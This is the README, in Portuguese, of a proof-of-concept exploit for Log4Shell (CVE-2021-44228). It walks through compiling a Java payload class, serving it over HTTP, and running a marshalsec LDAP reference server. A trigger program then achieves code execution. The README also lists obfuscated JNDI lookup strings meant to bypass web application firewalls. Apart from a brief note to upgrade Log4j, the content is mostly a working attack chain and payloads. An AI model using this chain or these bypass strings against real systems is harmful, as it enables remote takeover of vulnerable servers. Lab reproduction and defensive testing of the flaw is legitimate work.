maximofernandezriera/cve-2021-44228Prova de conceito de exploit para Log4Shell (CVE-2021-44228) demonstrando execução remota de código via injeção JNDI, incluindo compilação de payload, configuração de servidor LDAP e técnicas de bypass de WAF.
As versões 1.x possuem outras vulnerabilidades; recomendamos que você atualize para a versão mais recente.
Advisories / Boletins de Segurança vinculados ao Log4Shell (CVE-2021-44228)
baixe este projeto, compile o código do exploit blob/master/src/main/java/Exploit.java e inicie um servidor web que permita o download do binário compilado.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# iniciar servidor web
# Para Python2
python -m SimpleHTTPServer 8888
# Para Python3
python3 -m http.server 8888
# certifique-se de que o servidor web Python esteja rodando no mesmo diretório do Exploit.class, para testar
curl -I 127.0.0.1:8888/Exploit.class
baixe outro projeto e execute implementação de servidor LDAP que retorna referências JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 é necessário
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
compile e execute o código de ativação (simula um ataque log4j em um servidor web Java vulnerável) blob/master/src/main/java/log4j.java, e o seu aplicativo de calculadora aparecerá.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# espere o seguinte
# 1. o aplicativo de calculadora aparecer
# 2. no console do ldapserver,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. no console do webserver,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Dicas:
Não confie em uma versão atual do Java para te salvar. Atualize o Log4j (ou remova a consulta JNDI). Desative a expansão (parece uma ideia bem ruim de qualquer forma).
Por exemplo:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Não confie no firewall de aplicação web.
As consultas (Lookups) fornecem uma maneira de adicionar valores à configuração do Log4j em locais arbitrários.
Os métodos que causam vazamento no finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Se você quiser fazer testes de caixa-preta, sugiro que faça varredura passiva.
Divirta-se!!!
